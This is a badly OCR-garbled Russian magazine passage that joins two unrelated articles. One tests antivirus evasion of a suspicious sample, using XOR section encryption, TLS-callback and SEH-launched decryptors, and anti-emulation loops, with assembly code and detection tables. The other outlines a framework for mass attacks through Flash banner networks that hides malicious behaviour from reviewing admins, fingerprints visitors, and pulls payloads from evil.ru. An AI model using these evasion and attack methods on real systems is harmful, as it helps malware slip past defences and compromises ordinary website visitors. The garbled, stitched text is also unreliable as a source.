04Yepefn BCEM UCTIbITYEMbIM, OXKMAAS UX [PYXHOW 1 BypHON peakumu.

K coxaneHuto, 0XXnaaHus He onpaBAanuch: yrposy noyysam faneko
He BCe aHTMBMPYCbI, @ YyTb 6osiee NonoBuMHbI. Avast ¢ Avir'oil noyemy-To
NPOMONYaNU NPW CKaHUPOBAHWM HaLLei NPUMaHKM 1 becnpensaTcTBeH-
HO AN 3anycTUTb Kof Ha BbinonHeHne. Comodo, B CBOCTBEHHOM
eMy MaHepe NoAbIMaTb LYM M0 NOBOAY 1000r0 LLEBEEeHNs B CUCTEME,
oTpearvpoBa TONbKO Npw 3anycke 3Toro ¢paiina, a no pesynsratam
CKaHUpOBaHUs 3aBepwJ1, 4To BCe B nopsifike. OcTanbHble YeTBEPO
HanucaHHylo HaMu nocnepoBaTeNbHoCcTb API-yHKLMIA oLeHnN Kak
BPELOHOCHYI0 1 ONpeAenuan Hanuyue Bpesa B NpoBepoYHoM daiine.

TECT 2

Cnerka ycnoxHsieM 3agayy Ans aHTUBUpycoB. [lenaem Bbi30Bbl dyHK-
umnit yepes GetProcAddress, a ocTanbHoe ocTaBiseM be3 U3MeHeHu
OTCyTCTBME UMEH NOTEHLMANbHO ONacHbiX GYHKLWIA B Tabnuue nMnop-
Ta He MoMeLUano Nuaepam NepBoro TecTa yaepxaTb CBOW NO3ULUK, U
KapTWHa ocTanack NpexHss, 4To, B 0bLeM-To, U oxuaanocs. Hactana
nopa yxe 4To-HWUbyAb 3aKPUNTOBAThL, MO3TOMY UAEM fablUe...

TECT 3

EepeM MCXOL4HUK BTOpPOro tecta n ,D,O6aBJ'I9-IeM B Ha4yano Cﬂe,ﬂ,leLLl,VH;l Kon:

;PacumdpoBKa ceKkUMM AaHHBIX
movecx, endcryptarea
subecx, begincryptarea
lea esi, [begincryptarea]
decrypt:
mov bl, byte [esi]
;MobainTHaa pacumdpoBka
5 (kY pacuundpoBku Offh)
xor bl, @ffh
mov byte [esi], bl
inc esi

loop decrypt

Kak Tbl y)xe fjorafancs, aTo v eCTb LeKPUNTOP, KOTOPbI pac-
WndpoBbLIBAET CeKLUMIO faHHbIX. CaMblil NPoCTOM BapMaHT — anro-

AHTnBMpYc Kacnepckoro 2012 E HEUR:Trojan.Win32.Invader

Dr.Web 7.0 Trojan.Inject.origin

NOD32 Smart Security 5 Probably unknown NewHeur PE

Microsoft Security Essentials  : Trojan:Win32/AgentBypass.gen!K

PesynbTaTbl NpoBepKM No NepBoMy TecTy
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put™ nobaiTooro XORa c kntoyom OFFh. [1ns npasunbHoii paboTbl
CBEXEOTKOMMUIMPOBaHHbIN Kof, CHayana Hafo 3arpy3uts B OllyDbg,
MOJIHOCTbIO MPOTHaTh LMK AeKpunTopa (Mpy 3ToM CeKLus AaHHbIX ¥
Hac 3aWNdpyeTcs) M CoXpaHUTb YXKe 3aWUPPOBAHHYIO CEKLMIO AaHHBIX
B TOT e dain. B utore Mbl CKpbIav OT HEBOOPY)XXEHHOTO B3rNfAa MMe-
Ha onacHbIx AP| 13 cekunu faHHbIX. [loCMOTPUM, YTO CMOXKET YBULETH
BOOPY>XEHHbIN Pa3MYHbIMU 3BPUCTUYECKUMYM anropuTMaMm rnas
aHTUBUPYCOB.

13 roHku BbIbbIBAET ele ofjuH npeTeHAeHT. [pocTerlunini BapuaHT
WNPpoBaHMA CEKLMM AaHHbIX COMBAeET C TONKY CKaHep U3 cocTaBa
Dr.Web'a 1 3acTaBifieT ero BblfaTe OTpULATENbHLIN pe3yNbTaT, a Tak-
XKe NpoMoSIYaTh Npy 3anycke 3Toro Kofa.

B 3T0T pa3 noMUMO ceKLMM BaHHbIX Mbl MOLBEPTHEM WNGPOBAHUIO U
cekLuio koaa. Bce To e camoe 1 be3 Bcakmx usbickos, ToT xe XOR n
ToT e kntoy OFFh. PesynbTaThl 3TOro Tecta coBnagatoT ¢ pedynbraTa-
MU npegblayliero tectuposanus. «Kacnepckuity, NOD32 u MSE 6e3
TpyAa pasrafany Hallv KoBapHble NiaHbl 1 0N03HaAN CKPbITYIO Yrposy,
a Comodo, XoTb ¥ NPONYCTUA KOA MPW CKAHUPOBAHNU, 3aMyCTUTb €ro
HUKaKUM 0bpa3oM He paspeLun.

KoHeuHo, yrpo3a bbina ckpbiTa BeCbMa NOCPEACTBEHHO, M ObiNo Obl
BeCbMa neyasbHo, ecin bbl Takue NPUMUTUBHbIE NAaLlka xe. Hago
npuayMaTh YTo-HWUBYAb NOCIOXHEE.

TECTBIS N 6

Ecnv B npeAblaywmx Tectax AEKPUNTOP 3aMyCcKaCs NPsiMo C TOYKY
BXOAa, TO ceiyac Mbl byAeM 3anyckaTb ero U3 fpyrux MecT, a UMeH-
Ho: Kak callback-¢dyHkuuio 3 Tabauusl TLS (tect 5) n 8 Buae SEH-
obpaboTymka [TecT 4], BbI3BaB Kakoe-HUBYAb UCKOYeHMe (HanpuMep,
NonbITaBLIMCh 3an1caTh YTo-HMbyab no agpecy 400000h).

[ns natoro TecTa Heobxo[UMo BpyYHyto co3aaTb TLS-Tabnunuy,
3arpy3wus ¢ain B OllyDbg, v 3anncatb Hayano 3Toil TabnuLbl B HyKHOe
MecTo B PE-3aronoske ¢aiina (310 nyywe caenatb ¢ NOMOLLbIO yTHAN-
Tl CFFExplorer unu LordPE, xoTs, nprMeHnB HEKOTOPYIO CHOPOBKY,
3T0 MOXHO npogenats u B OllyDbg). TLS-Tabnnuy MoXHo nucats B
noboe cBoboHOE MECTO, M Mbl 3TO CAeNaeM B 0CTaBLUIEMCS L0 BblpaB-
HUBaHMWS TPaHNLbI MYCTOM MECTe 3TOW CEeKLUM.

[ns npaBunbHoi paboTbl, Kak U B MpefblAYLLMX CyYasx, CHavana
MPOroHUM B 0TNaf4MKe BCE LUKIIbl B AeKPUNTOpPe, 3aTeM COXPaHNM
3alndpOBaHHbIN KOA 1 faHHbIe B TOM Xe danne.

[lns npoBeAeHMs WecToro TecTa B Hayano KoAa AobaBuM cnegyoliee:

;YcTaHoBka obpaboTumka SEH
mov eax, [fs:0]

;3arpyxaem ajpec jekpuntopa B eax
leaecx, [decryptor]

addeax, 4

mov [eax], ecx

;BbI30B UCKAKWYEHUA

mov [400000h], eax

[lymMato, 4To U3 KOMMEHTapUEB SICHO, Kakie QYHKLMU BO3JTOXKEHbI
Ha 3TV HEeCKONbKO CTpoYeK KoAa. CHayana Mbl ycTaHaBNMBaEeM CBOA
06paboTUnK UCKNIOYEHNIA, KOTOPbIV M ABNAETCH AeKPUNTOPOM, a fanee
HaMepeHHO NbiTaeMcs 3anncaTtb YTo-HUbyab B 06nacTb NaMaTH, B
KOTOPYI0 3aNNCbIBaTb HUYErO HeNb3sl, U Bbi3biBaeM TakuM 06pa3om
YCTaHOBJ/IEHHbIN HaMK AekpunTop. Mocie KOMNMAALMK 3TOTO TecTa
Takxe He 3abbiBaeM npofenatb Bce He06X0ANMbIE MaHWUMYNALNUMN B
oTNnagyvke, s T0ro 4Tobbl B Gaine coxpaHUNCH UMeHHO 3awndpo-
BaHHbIN Kof.

Pe3ynbraTbl onsTh He M3MeHUAUCH. YT0 X, Hekorfa 3dpeKTUBHbIE
¥ nonynsipHble NpueMbl 06X0Aa 3BPUCTUKM HbIHE, MOXOXE, TEPSIOT CBOIO
aKTyanbHoCTb. Migem fanblue...

[TonpobyeM NpuMeHNTb eLLe 0fUH U3 HeKorAa yHOHbIX apryMeHToB —
MCMoNb30BaTh aHTUIMYNSLMOHHBINA LKA, N0 pe3ynbTataM paboTsl
KoToporo bynem onpeaensiTb KNty WndpoBaHus. lns atoro B Havane
HanuweM Takon Koa:

;BbluMCNeHMe Kw4Ya B UuKie
mov eax, OFFFFFFFh

mov ecx, eax

keyloopdata:

dec eax

loop keyloopdata

add eax, ©000OOFFh

Be3 KoOMMeHTap1eB NOHATHO, YTO pe3ynbTaToM paboThl 3TOrO LMKNA
Bynet nosBneHune B perncTpe eax sHaveHus FFh, kotopoe Mbl v nc-
nosib3yeM B KayecTBe KJtoya LWMdpoBaHMs B HALEX e Ha TO, YTO IMY-
NATOP U3 aHTUBMPYCa He ByAeT LOAT0 XAaTb, KOr4a NPOKPYTUTCS 3TOT
LMK, M, COOTBETCTBEHHO, HE CMOXET NPaBUbHO paclindpoBaTh KOA.

MoxHo npasgHoBaTh HebonbLyto nobeny — Tonbko NOD32 cmor
110 KOHL|@ MPOKPYTUTb 3TOT LMK U NPaBUIIbHO ONpefennTb Ha3Haye-
Hue npoBepsieMoro danna. Y «Kacnepckoro», HeCMOTpPS Ha NPONYCK
npu ckaHMpoBaHuK, cpaboTana NPoaKTUBKA, U «BPEAOHOCHBIN KOa»
3anycTuTb He yaanock; Comodo ¢ 3aBUAHBIM NOCTOAHCTBOM Bblan
Takylo Xe peakuyuto, a MSE B 3T0T pa3 cancs NosHoCTbIO.

AHTMBMPYC Comodo Internet Dr. Web 7.0 Avast Free NOD32 Smart Avast Free Microsoft Security
S Kacnepckoro 2012 Security Pro 2012 Antivirus 7.0 Security 5 Antivirus Essentials
CKaHep n/a CKaHep n/a CKaHep nfa CKaHep nfa cKaHep n/a CcKaHep e CKaHep n/a

3awuTa 3awuTa 3awuTa 3awuTa 3awmTa 3awmTa 3awmTa
........ 1 + + - + + + - - + + - - + +
'2 + + - + + + - - + + - - + +
N”m”é + + - + - - - - + + - - + +
........ Z + + - + - - - - + + - - + +
........ + + - + - - - - + + - - + +
+ + - + - - - - + + - - + +
- + - + - - - - + + - - - -

PesynbTaThbl Halwero TecTUpoBaHus
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Co3paHue TLS-Tabnunuybl

lMoxoxe, 4TO @aHTU3IMYNALMOHHDBIA LUK NPOAOSIKAET 0CTaBaThCs
3G PEKTUBHBIM CPEACTBOM NPOTUBOCTOSHWNS MHOTMM @aHTUBUPYCHbBIM
NpoAYyKTaM, HO BCe e, HaBepHOe, He eINHCTBEHHbIM. [TocneAHss npo-
BEpPKa Ha MPOYHOCTb...

TECT 8
B 3T0T pa3 Mbl 1CMob3yeM HECKONIbKO aHTUIMYNALMOHHBIX TPUEMOB,
MOACMOTPEHHbIX B peasibHbiX BPeAOHOCHbIX MporpaMMax (Hagetcs,
X aBTOPbI He BYAYT NpesbsABAATL MHe npeTeH3un). MoMuMo 3Toro,
Mbl HECKOJIBKO YCIOXKHUM aNropuTM WwudpoBaHus u bysem ncnonb3o-
BaTb Pa3Hble anropuTMbl AN CEKLMN KOAa W CeKLMM AaHHbIX. Takxe,
nocpeAcTBOM aHTU3IMYNALMOHHbLIX NPUEMOB, ByfeM reHepupoBaTh pas-
Hble KI0YN A1 Kofa U ANS AaHHbIX W, AN1SI TOFO 4T0bbI CONTL C ToNKY
CYETYMK SHTPONUM, 10DABUM B CEKLMIO LAHHbIX HECKOJIbKO GEeKOoBbIX
CTPOK, KoTopble He byayT noasepratbcs WudpoBaHuio.

MTaK, 4TO Mbl UMeeM BHYTPY NPOBEPOYHOr0 KOAa A8 NOCNeHero
TecTa:

MepBblii aHTUIMYNALMOHHLIA Npuem
invoke SetlLastError, 1
beginantiemul 1:

invoke GetlLastError

cmp eax, 1

jbe endantiemul_1

jmp beginantiemul_1
endantiemul_1:

BTOpOW aHTU3MYNALUOHHLIA Npuem (NpUMEpPHO TaKoi xe
ucnonbdyetcsa B Backdoor.Win32.IRCBot.adhv)
invoke LoadLibrary, MsCat32D11Name

invoke GetProcAddress, eax, [CryptCATOpenOrd]
push @

push
push
push
push
call eax

sub eax, -1

je endantiemul_2
int 3
endantiemul_2:

o000

MonyyeHne Knw4a ANA pacwMPpOBKM CEKLMUM AaHHbIX
no pesynbTaTtam paboTbl API-dyHKumii OpenProcess u CreateFile
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MoMHy, yT0
HekoTopble
aHTUBMPYCHI CaM
dakT Hanuuus
WwudpoBaHus
KOAia MM BaHHbIX
CYUTAIOT AOCTATOYHO
BECOMbIM NPU3HAKOM
BPeJlOHOCHOCTH Kopa.

Peakuus Comodo Internet Security Pro Ha TecT 4 -

Ha koMnakT-gucke
nexXar UCXOAHUKU
BCEX TeCTOBbIX
3apanuii pns
aHTUBUPYCOB.
loToBble GUHApHUKM
3anMBaTh Ha AUCK Mbl
He CTanu, No3ToMy
Mok ifes. KOMNUAMPOBaTh

M ponunuBaTh

kop B OllyDbg no
pabotocnocobHoro
Peakuus «AnTueupyca Kacnepckoro» Ha nonbiTky COCTOSIHUA NpUAETCA
BbINOJNHUTL KOJ BOCbMOr0 TecTa Tebe caMoMmy.

Aarmwampye Kacnepcxorg 2002

L AEEREST 8 EAE PID: PELTE Mopearsme, memmime i
FOMLInwuder, Qdsappeths.

invoke OpenProcess, PROCESS_ALL_ACCESS, @, OFFFFFFFFh
mov ecx, [esp - 1Ch]

bswap ecx

movsx ecx, cl

sub ecx, ©45h

mov [KeyCrypt], ecx

invoke CreateFile, NameWindow, 80000000h, ©, 0, 3h, ©
add [KeyCrypt], eax

MonHbIA Kof ANS 3TOr0 TeCTa ULLW Ha JUCKE, HafelCh, Thl pas-
bepelwbcs ¢ HUM be3 Bcakux npobieM. EQNHCTBEHHOE, YTO CTOMT
0TMETUTb, — B CBSA3M C TEM YTO Mbl HEMHOFO YCIOXKHWUAN aNropuT™
WwndpoBaHMa cekuLmm fanHbix (mnommumo XOR, gobasunm ewye v Bbl-
ynTaHue), BO3HMKaeT He0BX0MMOCTb NOCIe NMPOroHa BCEX LIMKII0B
WndpoBaHMS B 0TNALUMKE U COXPaHEHWS 3alUMdPOBAHHBIX CEKL Ui
B paiine 3aMeHUTb CTPOKM

xor bl, byte [KeyCrypt]
sub bl, cl

Ha KOHCTPYKLMIO BUAa:

add bl, cl
xor bl, byte [KeyCrypt]

B nTore Bcex aTux MaHUNynALMiA C KOLOM Mbl NOAYyYUAu Gaiin,
peakLM1n Ha KOTOPbIA NPU CKaHUPOBAHUW HU OT O4HOTO AaHTUBHMpYCa
He Moc/1e0Bano, NPoaKTUBKa «Kacnepckoro» Baio 0TMETUNA, YTO
KOJ, MOX0X Ha BPeLOHOCHbI, U He MoMellana UCMONHUTL 3aAyMaHHOoE,
Hy a Comodo ocTancs BepeH CBOWM NpUHLMNaM bnokuposaTh BCex
Y BCA W 3aNpeTun BbiMoSHEHME.

3AKJIIOYEHUE

YTo g cnblwy? KTo-To cka3sasn, 4To TecT nnoxoi? YTo B TecTe mc-
nosb3yeTcs cneynanbHo HanucaHHbIN Kof 6e3 sBHOTo BpejoHoC-
Horo ¢pyHkunoHana? Cnpawusanu — otBeyaem! Bo-nepBbix, 3T0T
KO, 04eHb MOA03PUTENbHbIA. Mbl Obl AaXe cka3anu, YTo OH NPoOCTo
KNaCCUYeCKM NOLJO3PUTENbHbIA. Takol KOoJ AOMKEH NaNnUTb KaX 4bli
aHTWBMPYC, M pe3yNbTaTbl MEpPBOro TecTa NpsiMo NokasbiBalT — 43,
aHTWUBMPYChl €70 PAcno3HalT Kak Nof03pUTeNbHbIA. A pe3ynbTatsl
nocneayumMx TeCTOB Tak Xe HeiBYCMbICJEHHO NOKa3blBakT, 4To
Hawu HeboNblUKe YyCUNS BMOJIHE CMOCOOHbI CKPbITh 3TOT paHee
CYUTABLUMIACH NOAO3PUTENbHBIM KO OT BHUMaHUs aHTUBMPYCOB. Tak
4TO BCe YeCTHo! &
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Kupunn CamocapHblit
Anppeii MeTyxos (twitter.com/p3tand)

CETH

®PEAMBOPK A1
NPOBEAEHUA
MACCOBbIX ATAK
YEPE3 BAHHEPHbIE

Kak BceM n3BeCTHO, peknaMa — ABWUraTeslb TOProeJiK, a peksamMa B UHTEPHETE — CaMblit bbl-
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CTPOPACTYLLWI CEKTOP pekaaMHon feaTenbHocTu. ExxegHeBHo npu cepduHre B CeTun Kaxabin
ee nosib3oBaTeslb BUANT MHOXKECTBO pekJlaMHblX baHHepPOB pa3nnyHon GopMbl U COLEPKAHMS:
OT MPOCTbIX TEKCTOBbIX 00BABAEHWNIA 10 DONBLIMX aHUMUPOBAHHbLIX PosIMKoB. ocneAHue Yalue
BCEro co34atTcs ¢ noMolblo TexHonorun Adobe Flash, koTopas nogaepXmBaeTca npakTUYecKu
BCeMu LeneBbiMu ycTpoincTBamu. Ceiyac peyb NonaeT o TOM, Kak IEFKO MOXKHO 3/10ynoTpebutb
cepBMCcOM baHHepoobMeHHbIX ceTei ANF peann3aLmn MacCcoBbIX aTak.

Bce 3HatoT npo XSS, CSRF, XSS over CSRF (ocobeHHo B agMuHKax)

¥ PO CXeMbl MOHETW3aLUKW HelleNeBbIx aTak Ha caiiTol. Elle Bce
3HatoT npo drive-by download aTaku, a Tak>e Npo OTAUYHBIA TPaHC-
nopT ANs HUX B BUAE BaHHepHbIx ceTel (cM. cTaTblo Ha Xabpe ot MeTpa
Bonkosa u3 fAingekca: habrahabr.ru/post/143345).

B MeToAMKe OLeHKM PUCKOB €CTb Takoe NoHsTHe — gap analysis:
peyb WAET NPO aHaNU3 HEPABHOMEPHOCTH NMOKPbITUS aHANUTUKOW He-
KoTopom obnactu. Mbl caenanu Takon s obnactu «HeTapreTMpoBaH-
Hble aTaku yepes baHHepHble CeTh».

[laHHas cTaTbs He COLEPXKNT FOTOBbLIX IKCMIOWTOB UM ONKUCAHMUS
ysizBuMocTei. Peyb noiiaeT o TOM, Kak aBToMaTU3nNpoOBaTb NpoLecc
3KCMyaTaLum yXKe HalAeHHbIX YA3BUMOCTENR en masse.

MTak, npes kpaiHe npocta. Kosb ckopo:

* HelesieBble aTaku NpecaefylnT MacCoBOCTh;

® LefNbloaTak ABAAETCS NOyYeHNe HEKOTOPOro MOHETU3UPYEMOTO
pecypca;

e baHHepHble ceTy 0becneynBaloT MacCoBOCTb JOCTABKN KOHTEHTa

KoHeYyHoMy noTpebuTento, ToaTaku Ha LlAyepes Hux—To, Yto Hapo!
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OK, Tbl cnpocullb MeHs, a yToxe Hafo? OTBeuy:
* yroHakkosyepe3XSS/CSRF/XSSover CSRF;
® YroHaAMWHOKYepe3TOKe CaMoe.

MMpwv 3ToM xoTenocsk 6bi:

e un3bexaTtbobHapyXeHWs Ha 3Tane NpoBepky baHHepa afMUHOM
6aHHepHoM ceTk;

®  KaKMOXHO l0JibLIE HEe MaNuTb BpeJOHOCHOE NoBeAeHue baHHepa
npunokasax;

* ecnnmobHapyXaT, 0TAaTh Kak MOXHO MeHbLue MHbopMaLuum 06 akc-
nayaTVpYeMbIX y3BUMOCTAX U 06LLLeii cxeMe paboThl.

B npeane xotenock 66l nonyunts cnepytowmin workflow:

3tan1.[JobaBnsembaHHep B 6aHHEpPoOOMEHHYO CeTb M ONaynBaem
nokasbl. BaHHep nonafaeT K aAMUHY Ha NpoBepKy. 3aecb baHHep fLosKeH
KaknM-To 06pa3om [kakuM—unTai fanee) NoHATL, YTO €ro NPOBEPSIOT,
1 0TKa3aTbCs OTAEMOHCTPALMU MOA03PUTENbHOTO MOBEAEHUS.

Jtan 2. baHHep 3anyckaeTcs B poTaymio. [Jonro nu, KOpoTko M—baH-
Hep nokKa3blBaeTCcs 04epefHOMY NOCEeTUTENI0 HEKOTOPOro cainTa, ABAs-
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CSRF B Macchi!

loLierocsy4acTH1KoM baHHepHov ceTn. HaatoM aTane baHHep, nonpee,

,D,OJ'I)KEHBBﬂTbVIpeaJ’IM3OBaTb38,D,aHHyI'OaTaKyBOTHOLLIEHVII/I6EJJ,OJ'IaI'M4
0fHakKo, ecnv XopoLeHbKo MpU3afyMaTbCs Haj, 3a/ja4ueid, [LOSKHbI

BO3HWKHYTb HEKOTOPbIE BOMPOCHI:

1. Kakyto MMeHHOo aTaky HeobxoanMo npoBecTu? Heyxenu Mbl LOXK-
Hbl OMpefeNnThCs CaTakon fo fobasneHns baHHepa B poTaLuio
n3apaHee BLWUTb B paiin akennont? He oueHb-ToyfaobHo. Bupeane
X0TeJs10Ch Dbl y3HaBaTh 0 TOM, KaKWe aTaku NPOBOANTb, B peasbHOM
BpeMeHM—B MOMEHT MoKa3a.

2. ABXOOWTMTEKYLMI NOCETUTENb B LLENIEBYI0 ayAUTOPMIO HaLLeN
MaccoBoliaTakn? He xoTenoch bl nannTb BpeJOHOCHOE NoBe-
LleHVe Npu KaxaoM nokase. [lonyyaeTcs, 410, NOMUMO ANHAMU -
4ecKo KoOHUTypaLMmM 3anycKaeMblX SKCMI0MTOB, HAA0 Npef-
YCMOTPEeTb HEKYH MOLCUCTEMY QUHTEPNPUHTUHTA, KOTOpas U AacT
0TBETHa BOMPOC «bUTb AN HE BUTH?».

Mepep TeM Kak 0TBETUTb Ha 3aflaHHbIe BONPOCH! 1 pacckasaTb
0 fleTanax peanusauumn Takoro periMBopka, Npeasarato BCNOMHUTb
HECKOJIbKO BaXKHbIX GakToB 13 )u3Hu Flash.

Kak usBecTtHo, kaxgoe Flash-npunoxerue BbinosHseTcs B M30a1-
POBaHHOI Cpefie, HO MOXET B3alMOLeNCTBOBATL C APYrMM pecypca-
MW, €CNIM OHW [Al0T Ha 3T0 paspelleHne. YacTHbIM ciyyaeM nofobHoro
pecypca aBnsetca HTML-cTpanuua, B koTopyto BcTpoeH Flash-o06bekT,
a paspelueHune Ha B3aUMOLENCTBUE C Hell KOHTPOAMpYeTCs aTpubyToM
AllowScriptAccess B cOOTBETCTBYIOLLEM Tere:

<object data="test_flashvars.swf" type=«
"application/x-shockwave-flash" id="flash_35357516" «
width="320" height="180">
<param name="flashvars" «
value="namel=vall&amp;name2=val2&amp;name3=val3">
<param name="movie" value="test_flashvars.swf">
<param name="wmode" value="opaque">
<param name="AllowScriptAccess" value="PUT IT HERE">
</object>

AtpubyT AllowScriptAccess MOXeT NpUHUMATL TPU 3HAYEHUS:

e sameDomain (3HayeHne no ymonyaHuio) —cTpaHnua un Flash-
NpUoXKeHNe MOTryT B3aUMOAENCTBOBATL TOJIbKO BTOM C/lyyae,
eC/IM OHM HaXxoAATCA BOAHOM aoMeHe (cornacHo SOP);

* never—B3anMoJeiCTBME 3aMpeLLeHo;

e always—B3anMopeiicTBME pa3peLleHo BHe 3aBUCMMOCTM OT f10-
MEHOB.

Y Tebs MOXKeT BO3HUKHYTb CNpaBef MBbIA BOMPOC: @ 4TO NOAPa3-
ymeBaeTcs nof B3anmogeiictaneM Flash-obbekta n HTML-cTpaHuubi,
KoTopas ero Bkounna? B ActionScript 3.0 onpeneneH cneunanbHbii
knacc Externallnterface, koTopblit no3Bonser:

1. U3 Flash-npunoxeHns BoinonHuTb JavaScript-kon B KOHTeKCTe

CTpaHuLbl:

ExternallInterface.call("alert", 1);
2. YcTaHosuTb callback'v ansa obpatHoii cessu (To ecTb 3 JavaScript
MOXHO lepHYTb GyHKLUMI0 Ha ActionScript, peanu3oBaHHyto

8 Flash-ob6bekTe):

ExternallInterface.addCallback("callback", «
some_as_function);

Bbizos 13 JS byget Takum:
<script>
document[ 'flash_35357516"'].callback();

</script>

apnqlE:
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vuln.ru

bit.ly/KBF Y4t —

site.ru

- " " - BanHepHas OﬂeTeKTMPO.BaHVIM
[ <script src="http://bb.ru/?id=1234"> ] cetb bb.ru aTak TMna drlve-by
download u
N HOBbIX BEKTOpax
[ <object data= ] I GET banner.swf harmer.swf] pacnpocTpaHeHus

BpeAoHocHoro 10
yepes Flash-6aHHepsbl.

Ha HaweMm pucke

Thl CMOXELLb HANTU
Bce HeobXoAnMble
$ainbl M UCXO[HNKHU.

Bcsi uHpopMauus
npepocTaBneHa
MCKNIOYNTENBHO B
03HAaKOMUTENbHbIX
uensx. Hu pepakums,
HV aBTOPbI He HecyT

evallfingerprint)

/

MpoBepsieM
KnueHTa

evil.ru

N
[<ebjecldala="http:llevil.ruleviI.swf">] GETeviI.swf/
M

v

evil.swf

OTBETCTBEHHOCTM 3a
nio60oit BO3MOXHbIi
BpeA, NPUYMHEeHHBIH
MaTepuanamu AaHHOI
cTaTbu.

nopbupaem
yAa3BUMOCTH

oTcbinaeM
pesynbTathi

N
wnonyyaem GET expluit‘js/ KnueHTa

Kon | %

<> evillcheck)

3KcnnyaTupyem

A

YA3BAMOCTH

CxeMa paboTbl dpeiiMBopKa

<script>
window[ 'flash_35357516"'].callback();
</script>

Takum obpasoMm, npv 3HaveHnn atpubyTa AllowScriptAccess =
always Flash-06bekT MoxeT Moguduymposats DOM cTpanuLbl
(BHeApSATL B CTPaHNLY Apyrie 06beKTbl, CKpUnThI), oTnpasaTs XHR-
3anpochl M CYUTLIBATH OTBETHI B COOTBETCTBUM C SOP BKAtoYaloLelt
CTPaHMLbl, @ TaKXKe 0TNPaBAATL 3aNpPoChl 6€3 BOIMOXHOCTU CYUTbIBA-
HWA 0TBETOB Ha Apyrue goMmeHbl (CSRF-cTaiin).

OK, nukb6es nukbesoM, a 4to TaM c baHHEPHbBIMU CETSMMU U 3HaYe-
HueM 3Toro aTpubyTa B HUX? Tam Bce cTpaLwHo. [lesio B TOM, 4To Kof,
BCTaBKW 6aHHepa Ha cTpaHuLy 06bl4HO reHepupyeTcs ckpuntamm
6aHHepoObMEHHOM CeTH, M aAMUHUCTPATOP CalTa, Ha KOTOPOM pa3Me-
waeTcs pekiama, 06bI4HO He BNIUAET Ha Hero (He MOHUMAEeT, He XoYeT,
whatever). Bonee Toro, B HeKOTOpbIX CETAX B3aMMOAENCTBME MEX Y
cTpaHuueit u 6aHHepoM (AllowScriptAccess = always) asnsetcs He-
00X04UMBIM L1151 TOACYeTa KONMNYeCTBa MOKa30B.

W1ak, k geny. MycTby Hac ecTb HTML-cTpaHuua v BCTpOEHHbI
6aHHep, y koToporo AllowScriptAccess = always. Ham Hafo pewnTb
HEeCKOJIbKO 3ajjau:

1. HecnanuTbnopo3spuTenbHoe noBefeHe agMuHy baHHepHOM ceTw.

2. CpenaTbTak, 4TobblaTaku KOHOUTypUpoOBannUCh BO BpeMs nokasa
6aHHepa.

3. PeanunsoBaTb GUHTEPNPUHTUHT KJIMEHTA C LieJIbio OTHECEHUS €70

K LeneBoi ayAnTopum atTaku.

ONPEJEJIEHNE MOKA3A AOMWUHY BAHHEPHOW CETH

Mepep xakepoM cToAT ABe Nof3agaun. [lepsas — onpenenuTsb,

4T0 BaHHEp HAaXOAWUTCS Ha MPOBepKe, W YCMeLHo ee NpoiTu. BTo-

pas — onpefennTb, 4To baHHep nbiTalwTCca UcCcnefoBaTh, v 3a-
TPYAHWTb aHanus. [lepeo-HanepBo xakep pa3buBaeT BpeJOHOCHbI
baHHep Ha Be YacTu: ofiHa OyAeT MoKa3biBaTb pekaamy U BbIMOHATh
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MALWARE

NpoBEpPKY Ha Nokas agMuHy, a BTopas byfeT Henocpe[CTBEHHO Bpe-
ILOHOCHOM.

KoHeuHo, nop kaxayto 6aHHepoobMeHHyto ceTb XopoLwo bbl Hanu-
caTb CBOI NPOBEPKY, YTODObI 0becneynTb HeaKTMBHOCTb BPEAOHOCHOIO
noeefeHns B bpaysepe agMUHUCTpaTOpa. Mbl nonbiTannch BblAeNUTb
HECKO/IbKO 06LLNX KpUTEPUEB, KOTOPble MOTYT CFOAUTLCS AN peanu-
3alMM OMUCAHHbIX MPOBEPOK.

1. OtcytcTBne noactpokn «admin» Bagpece HTML-cTpaHuubl.

MonyunTe URL cTpaHuLLbl MOXKHO C MOMOLLbIO CleflyIoLLero Koaa:

ExternalInterface.calle«
"eval", "document.location.href");

2. OTcyTCcTBME MepeceyeHuit B LOMEHHbIX UMEeHaX BKJI0YaloLLero
LOKyMeHTanappecabarnHepa. Hanpumep, npynokase Ha
http://admin.banner.com/admin.php v 3arpyske o6bekTa cagpeca
http://dl.banner.com/banner.php?id=123 Hago BecTu cebs noTuwe.
[ToMHWM, 4TO BaHHep MoXeT bbITb LobaBneH Yepesiframe, noatomy
afpec BKJIIOYalOLLEro JOKYMEeHTa HAf0 Nosly4YaTh CYMOM.

3. AppecBko4alLLero JOKyMeHTa — [JOMEH MepBOro ypoBHs. 3To
HYXXHO L1 UCKJTYEeHWS LEMOHCTPALIMM BPE4OHOCHOT0 NoBeie-
HWS NPY OTKPBLITUN N3 NIOKaNIbHOW CETH.

4. AppecBkoyaloLLero JokyMeHTa — AoMeHHoe nMs, aHe IP-agpec.
AHanornyHo npesblayLieMy.

Mnioc KOHBEPTMPOBaHWe aHMMaLun B AS-KO,EI, CUNBbHO 3aTpyaHUT
BVI3yaJ'IbeII7I MOUCK «NNLLIHETr0» Koaa.

ONHAMWYECKOE KOHOUTYPUPOBAHWE

ATAKYIOLLEWN HATPY3KW

MpeAnonoXuM, YTo BCE NPOBEPKYM NPOLLNN ycrellHo. Tenepb HAf0 Bbl-

NOSHWNTL BPEAOHOCHbI KOA. [lenath 3ToT Ko4 BCTPOEHHBIM HEMOoCpes -

CTBEHHO B DaHHep HEBbLITOAHO MO HECKOIbKUM MPUYMNHAM:

® MpPUHe0OXOAMMOCTH M3MEHUTb MOJTE3HYIO HAarpy3Ky baHHep Hafo
ByneT3aHoBo f06aBNATL B HaHHEepooOMeHHYI0 ceTb;

* NpUNepBOM e 00HaPYKEeHNN NOJ03PUTENIBHON aKTUBHOCTM byaeT
00HapyeH BeCb BPeAOHOCHbIN KOA.

Mbl npuxofuM K HeobxoanmocT B elle ogHoM Flash-o6bekTe,
KOTOpbIN byAeT 3arpyxaTbcs C NOAKOHTPOSIbHOrO HaM cepBepa U 06-
najaTh BCeit Heobxo[MMON HaM Harpy3koi. B noruky atoro obbekTa
Mbl BKJTIOYMUIN NPOBEPKY NPEPeKBU3NTOB aTakW U HEMOCPeCTBEHHO
peanu3saLuio aTaku.

B obuiem cnyyae npoBepka NpepekBU3NTOB aTaku — 3TO HEKWIA
JS-Kkop, KoTopbiii 3apaHee Bkomnunueaetcs B Flash-06bekT 1 3a-
nyckaetcs yepes Externallinterface.call("eval", kog), a nocne cesoero
